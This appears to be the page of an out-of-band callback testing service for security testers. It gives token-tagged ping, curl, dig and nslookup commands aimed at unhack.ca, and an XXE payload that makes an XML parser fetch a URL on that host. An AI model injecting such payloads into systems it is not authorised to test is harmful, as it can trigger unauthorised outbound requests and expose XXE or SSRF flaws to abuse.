$ ping -c1 -p 001defe9c0fb3bd80041db6764a05800 unhack.ca
 
$ curl http://unhack.ca/p/1defe9c0fb3bd80041db6764a058
 
$ dig 1defe9c0fb3bd80041db6764a058 @unhack.ca
 
$ dig 1defe9c0fb3bd80041db6764a058.ns.unhack.ca
 
C:\> nslookup 1defe9c0fb3bd80041db6764a058 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1defe9c0fb3bd80041db6764a058">]>
    <foo>&xxe;</foo>
Waiting for ping...